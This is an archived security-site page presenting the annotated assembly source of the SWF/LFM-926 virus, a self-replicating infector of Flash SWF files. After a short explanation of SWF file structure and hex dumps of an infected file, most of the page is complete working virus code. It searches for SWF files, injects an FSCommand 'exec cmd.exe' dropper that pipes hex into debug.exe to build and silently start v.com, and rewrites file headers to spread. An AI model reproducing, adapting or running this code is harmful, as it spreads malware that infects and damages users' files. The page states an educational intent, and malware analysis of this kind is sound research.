TUCoPS :: Malware :: ctr.pl

Disassembly of the SWF/LFM-926 Virus

; Disassembly of the SWF/LFM-926 Virus by (-_-)


; DISCLAIMER:
; -----------
; >>> If you use this demo to create a malicious movie
; >>> and/or distribute it to any system where it does not belong
; >>> you alone will be responsible for your actions.
;
; >>> This demo is strictly intended for educational purposes only.


; How it works:
; -------------
; When an infected SWF file is executed outside a browser
; using a standalone Flash Player, it pipes a series of hex 
; codes (i.e., it converts itself from a binary form into hex strings XX,...,XX)
; into 'debug.exe' to create 'v.com'. The virus hides and executes the file 
; via "start /b v.com" which searches for any SWF files in the current directory. 
; Once a suitable host file has been found, the virus infects it!


; The SWF Header 
; --------------
; All SWF files begin with the following header:
;
; Field      Type Comment
; =====      ==== =======    
; Signature  db   Signature byte always ‘F’ 
; Signature  db   Signature byte always ‘W’ 
; Signature  db   Signature byte always ‘S’ 
; Version    db   Single byte file version (e.g. 0x04 for SWF 4) 
; FileLength dd   Length of entire file in bytes 
; FrameSize  db   X dup(0) Frame size in twips (X is a variable number of bytes) 
; FrameRate  dw   Frame delay in 8.8 fixed number of frames per second 
; FrameCount dw   Total number of frames in movie 



; SWF File Structure
; ------------------
; Following the header are a series of tagged data blocks.
; All tags share a common format, so any program parsing a SWF file can
; skip over blocks it does not understand.
;
; [HEADER | Tag | Tag | Tag | End Tag]



; Tag Format
; ----------
; Each tag begins with a tag type and a length.
; There are both a short and long tags. 
; Short tags are used for blocks with 62 bytes of data or less and 
; large tags can be used for any size block.
; 
; Field      Type Comment (Short Block)
; =====      ==== =====================
; Code       dw   Tag ID and Length 
;
; The high order 10 bits of the Code field is the tag ID.
; The low order 6 bits of the Code field is the length of the tag in bytes.
; The tag ID and length can be extracted from the Code field like this:
; 
; TagID= Code >> 6;
; Length = Code & 0x3f;
;
; If the block is 63 bytes or longer, it is stored in a long tag.
; The long tag consists of a short tag with a length of 0x3f, followed by a 32-bit length.
;
; Field      Type Comment (Long Block)
; =====      ==== ====================
; Code       dw   Tag ID and Length of 0x3f 
; Length     dd   Length of Tag 
;
; Note: The low order 6 bits of the Code value in a long tag are all set to 1.
; Example: The DoAction Tag (ID=12) (0x3f,0x03) can be written as follows:
;
; 0000001100 111111
;
; where the high order 10 bits 0000001100 = 12 decimal and
; the low order 6 bits 111111 = 0x3f. 



; Processing a SWF File
; ---------------------
; The model for processing a stream is that all tags are processed in a stream 
; until a ShowFrame tag (ID=1) is encountered. At that point, the display list
; is copied to the screen and the player is idle until it is time to process the 
; next frame.
;
; A SWF file is divided into numbered frames by ShowFrame tags. 
; Frame 1 is defined by performing all the control operations before 
; the first ShowFrame tag. Frame 2 is defined by performing all the control
; operations before the second ShowFrame tag and so on.



; WinNT/XP Virus Dropper
; ----------------------
;
; Before Infection:
; =================
; 
; [HEADER | Tag | Tag | Tag | End Tag]
;
; After Infection:
; ================
;
; [HEADER | VIRUS TAG | Tag | Tag | Tag | End Tag]
;
; The Virus Tag Frame contains this pseudo script code:
;
; DoAction Tag
; ActionGetUrl Tag
; FSCommand:exec cmd.exe /c echo Loading.Flash.Movie...&(echo n v.com& echo a 100&
; ...echo db XX,...,XX& echo db XX,...,XX&echo db XX,...,XX&
; ...& echo.& echo rcx& echo VIR_SIZE& echo w& echo q)|debug.exe>nul& start /b v.com
; StringEnd Tag
; ShowFrame tag
;
; Read the online Flash bytecode articles for a description of the various tags.



; Example Hex Dump:
; -----------------
; Consider this partial hex dump of an SWF file version 05:
;
; Before Infection:
; =================
;
; 0000:0010 46 57 53 05 F8 12 00 00 78 00 04 65 00 00 15 E0 FWS.ï8..x..e...à 
; 0000:0020 00 00 0C 05 00 43 02 66 99 99 3F 03 9B 00 00 00 .....C.f™™?.›... 
; 0000:0030 88 6E 00 09 00 56 65 68 69 63 6C 65 00 27 39 39 ˆn...Vehicle.'99 
; 0000:0040 20 41 63 63 6F 6E 64 61 20 44 58 20 53 65 64 61 Acconda DX Seda 
; 0000:0050 6E 20 77 69 74 68 20 4D 61 6E 75 61 6C 20 54 72 n with Manual Tr 
; ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... 
; 0000:nnnn 61 74 43 75 72 72 65 6E 63 79 00 40 00 00 00   atCurrency.@... 
;
; After Infection:
; ================
;
; 0000:0010 46 57 53 99 A7 1F 00 00 78 00 04 65 00 00 15 E0 FWS™.F..x..e...à 
; 0000:0020 00 00 0C 06 00 3F 03 14 0D 00 00 83 10 0D 46 53 .....?.....ƒ..FS 
; 0000:0030 43 6F 6D 6D 61 6E 64 3A 65 78 65 63 00 63 6D 64 Command:exec.cmd 
; 0000:0040 2E 65 78 65 09 2F 63 09 65 63 68 6F 09 4C 6F 61 .exe./c.echo.Loa 
; 0000:0050 64 69 6E 67 2E 46 6C 61 73 68 2E 4D 6F 76 69 65 ding.Flash.Movie... 
; ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... 
; 0000:0D2A 63 6F 6D 00 01 43 02 66 99 99 3F 03 9B 00 00 00 .com..C.f™™?.›... 
; 0000:0D3A 88 6E 00 09 00 56 65 68 69 63 6C 65 00 27 39 39 ˆn...Vehicle.'99 
; 0000:0D4A 20 41 63 63 6F 6E 64 61 20 44 58 20 53 65 64 61 Acconda DX Seda 
; 0000:0D5A 6E 20 77 69 74 68 20 4D 61 6E 75 61 6C 20 54 72 n with Manual Tr 
; ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... 
; 0000:nnnn 61 74 43 75 72 72 65 6E 63 79 00 40 00 00 00   atCurrency.@... 
;
;
; As you can see, the header (first 21 bytes) is updated with version number 99
; (the infection marker, was version 05), A7 1F (the file length) and 06 (the frame count). 
;
; Next, the virus tag is inserted directly after the header and begins with these bytes
; 3F 03 which is the DoActionTag and ends the virus with the important ShowFrame tag 01.
;
; The host file size increases by 3247 bytes (1FA7 - 12F8).
; The console window pops up briefly with a message "Loading.Flash.Movie..."
; while piping the hex commands to 'debug.exe'.


; Without any further delay ...


; --------------------------------- Begin Source Code ------------------------------------
.286
.model tiny
.code
	org 	100h

Entry:	jmp	Start

	VIR_SIZE equ	Virus_End-Entry

	DTA 	db 128 dup(0)		; Offset DTA+30 = filename
	HANDLE	dw ?			; Handle to host file
	PTR1	dd 0			; Segment address of the created memory block		
	PATH	db "*.SWF",0		; File mask
	BINARY	db "v.com",0		; Binary code
	HEX	db "0123456789ABCDEF"	; Binary to hex

	; Flash header block. 
	; -------------------
	SIGN_FW		dw ?		; SWF file format	
	SIGN_S		db ?
	VERSION_NUM	db ?
	FILE_LENGTH	dw ?
			dw ?
	STATIC_HDR_SIZE	equ $-SIGN_FW
	
	RECT_BUF	db 20 dup(0)	; Header length is variable because the RECT region isn't static. ;(
	RECT_BUF_SIZE	equ $-RECT_BUF
	
	HDR_SIZE 	dw ?		; Holds the true header size!

	; Start of Viral Frame 0.  
	; -----------------------	
	DROP_BEGIN	db 03fh,003h	; DoAction Tag(12) long format. Learn the bytecodes!
	TAG_LENGTH 	dw 0		; (ACTION LENGTH+3)+1[END_TAG] 
			dw 0
			db 083h		; ActionGetUrl Tag
	ACTION_LENGTH 	dw 0		; (DROP_BEGIN_SIZE-9)+(SUM OF DROP_MIDDLE)+(DROP_END_SIZE)
			db 'FSCommand:exec'
			db 000h
			db 'cmd.exe'
			db 009h		; chr(9) is Flash code for a space character.
			db '/c'
			db 009h
			db 'echo'			
			db 009h				
			db 'Loading.Flash.Movie...'
			db '&'				
			db '(echo'
			db 009h
			db 'n'
			db 009h
			db 'v.com&echo'
			db 009h
			db 'a'
			db 009h
			db '100&'
			DROP_BEGIN_SIZE	equ $-DROP_BEGIN 									

	DROP_MIDDLE	db 'echo'
			db 009h	
			db 'db'
			db 009h	
                	db 71 dup(',')	; db XX,...,XX where XX's are viral hex codes.
                	db '&'
			DROP_MIDDLE_SIZE equ $-DROP_MIDDLE					

	DROP_END	db '&echo.&echo'
			db 009h
			db 'rcx&echo'
			db 009h
			db '39E'	; Define hex 39E (VIR_SIZE) as a string. Changes if this code changes. ;)
			db '&echo'
			db 009h
			db 'w&echo'
			db 009h
			db 'q)|debug.exe>nul&start'
			db 009h
			db '/b'
	 		db 009h
	 		db 'v.com'
	 		db 000h 	; StringEnd Tag
			DROP_END_SIZE equ $-DROP_END		

	; End of Viral Frame 0. 
	; ---------------------
	END_TAG 	db 001h		; Action code 0x01 = tagshowframe Tag			
						
Start:	
	mov	ax,(VIR_SIZE+0fh)
	shr	ax,4
	shl	ax,1
	mov	bx,ax			; Allocate (VirusSize*2)
	mov 	ah,4ah		
	int 	21h 			; Resize block
	jc 	ExProg
	
	mov	dx,offset DTA		; Set DTA operation
	mov	ah,1ah
	int	21h

	mov	cx,07h
	mov	dx,offset PATH
	mov	ah,4eh			; FindFirst
	int	21h
	jc 	ExProg
	jmp	Infect	
Cycle:	
	mov 	dx,offset PATH
	mov	ah,4fh			; FindNext
	int	21h
	jc	ExProg
	jmp	Infect
ExProg:
	mov	ax,4301h		; Hide v.com
	mov	cx,02h
	mov	dx,offset BINARY
	int	21h

	mov	ax,4c00h		; End program
	int	21h	
Infect:	
	mov 	byte ptr DTA[30+12],'$'	
	mov	dx,offset (DTA+30)
	
	mov	ax,3d02h		; Open host file
	int	21h
	jc	ExProg
	
	mov	[HANDLE],ax		; Save file handle
	
	mov	ax,3f00h		; Read file Header
	mov	dx,offset SIGN_FW
	mov	bx,[HANDLE]
	mov	cx,(STATIC_HDR_SIZE+RECT_BUF_SIZE)
	int	21h
	jc	ExProg
	
	cmp	word ptr SIGN_FW,'WF'	; Check for a valid Flash SWF file.
	jne	Cycle			; Try another file ...
	cmp	byte ptr SIGN_S,'S'
	jne	Cycle
	cmp	byte ptr VERSION_NUM,099h ; Already infected?
	je	Cycle
					
	mov	cx,RECT_BUF_SIZE	; Search for the SetBackgroundColor Tag. 
	xor	di,di			; Seems to always exist directly after the header. ;)
next:	cmp	byte ptr RECT_BUF[di],043h
	jne	not_found
	cmp	byte ptr RECT_BUF[di+1],002h
	jne	not_found
	jmp	found
not_found:
	inc	di
	loop	next
	jmp	Cycle			
found:						
	mov	word ptr HDR_SIZE,STATIC_HDR_SIZE
	add	word ptr HDR_SIZE,di	; Compute the header size			
	
	mov	ax,4200h		; Reset file ptr right after Flash header
	xor	cx,cx			
	mov	dx,[HDR_SIZE]
	int	21h
	jc  	ExProg
	
	push	bx
	mov 	ax,word ptr FILE_LENGTH	
	add 	ax,15			
	shr 	ax,4			
	mov 	bx,ax			
	mov 	ah,48h			; Allocate memory for target host file
	int 	21h				
	pop	bx
	jc  	ExProg
	mov 	word ptr PTR1[2],ax 	; Save pointer to allocated block

	mov 	cx,word ptr FILE_LENGTH	
	sub 	cx,[HDR_SIZE]
	mov 	ah,3fh			; Read host file into memory block
	push	ds			
	lds 	dx,[PTR1]	
	int 	21h	
	pop 	ds
	jc  	ExProg
	
	mov	ax,4200h		; Reset file ptr to the middle code section
	xor	cx,cx			
	mov	dx,[HDR_SIZE]
	add	dx,DROP_BEGIN_SIZE
	int	21h
	jc  	ExProg
	
	;
	; The following code is a key technique. It simply converts the
	; virus from binary to hex characters and then inserts them into the host
	; using a standard format that DEBUG.EXE expects! Flash only really
	; allows plain text, so this satisfies that condition. 
	;

	mov	word ptr ACTION_LENGTH,(DROP_BEGIN_SIZE-9+DROP_END_SIZE)
	push	bx			
	mov	cx,VIR_SIZE		
	xor	si,si
	xor	di,di		
ToHex:	
	mov	bx,offset HEX		; Convert 8-bit binary number to a string representing a hex number
	mov	al,byte ptr Entry[si]
	mov	ah,al
	and	al,00001111y
	xlat
	mov	DROP_MIDDLE[STATIC_HDR_SIZE+di+1],al
	shr	ax,12
	xlat
	mov	DROP_MIDDLE[STATIC_HDR_SIZE+di],al
	inc	si
	inc	di
	inc	di
	inc	di
	mov	ax,si
	mov	bl,24			; Debug.exe can handle at most 24 defined bytes on 1 line.
	div	bl
	or	ah,ah
	jnz	cont
	push	cx
	xor	di,di
	add	word ptr ACTION_LENGTH,DROP_MIDDLE_SIZE
	mov	bx,[HANDLE]		; Write hex dump entry XX,...,XX
	mov	dx,offset DROP_MIDDLE
	mov	cx,DROP_MIDDLE_SIZE	
	mov	ax,4000h		
	int	21h
	jc	ExProg
	pop	cx	
cont:	
	loop	ToHex
	pop	bx
	
	or	di,di
	jz	no_remainder
	
	mov	dx,offset DROP_MIDDLE
	mov	cx,di
	add	cx,7			; STATIC_HDR_SIZE-1
	add	word ptr ACTION_LENGTH,cx
	mov	ax,4000h		; Write remainder hex dump entry XX,...,XX
	int	21h
	jc	ExProg			

no_remainder:
	mov	dx,offset DROP_END	
	mov	cx,DROP_END_SIZE+1	
	mov	ax,4000h		; Write end code and end of frame tag(01) into host
	int	21h
	jc  	ExProg	
		
	mov 	cx,word ptr FILE_LENGTH
	sub 	cx,[HDR_SIZE]
	mov 	ax,4000h		; Write host code directly after viral code.
	push	ds			
	lds 	dx,[PTR1]		
	int 	21h			
	pop 	ds
	jc  	ExProg
					; Patch the header with new viral values.
	mov	cx,word ptr ACTION_LENGTH
	add	cx,4
	mov	word ptr TAG_LENGTH,cx
	add	cx,6
	add	word ptr FILE_LENGTH,cx	; Total file size increase = (TAG_LENGTH+6)
					; Set infection marker
	mov 	byte ptr VERSION_NUM,099h
	
	mov 	di,[HDR_SIZE]
	inc	word ptr [SIGN_FW+di-2]	; Increase Frame count by 1

	mov	ax,4200h		; Re-wind to start of file 
	xor	cx,cx			
	xor	dx,dx
	int	21h
	jc  	ExProg
	
	mov	dx,offset SIGN_FW			
	mov	cx,[HDR_SIZE]
	mov	ax,4000h		; Write updated viral header
	int	21h			
	jc  	ExProg
	
	mov	dx,offset DROP_BEGIN			
	mov	cx,DROP_BEGIN_SIZE
	mov	ax,4000h		; Write begin code into host
	int	21h			
	jc  	ExProg

	mov	ah,49h			; Free memory block
	mov 	es,word ptr PTR1[2]
	int 	21h
	jc  	ExProg
	
	mov	ax,3e00h		; Close file
	int	21h
	jc  	ExProg	
	
	jmp	Cycle			; DONE! Try to infect another Flash .SWF movie.

Virus_End:	
end Entry
; --------------------------------- End Source Code ------------------------------------


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH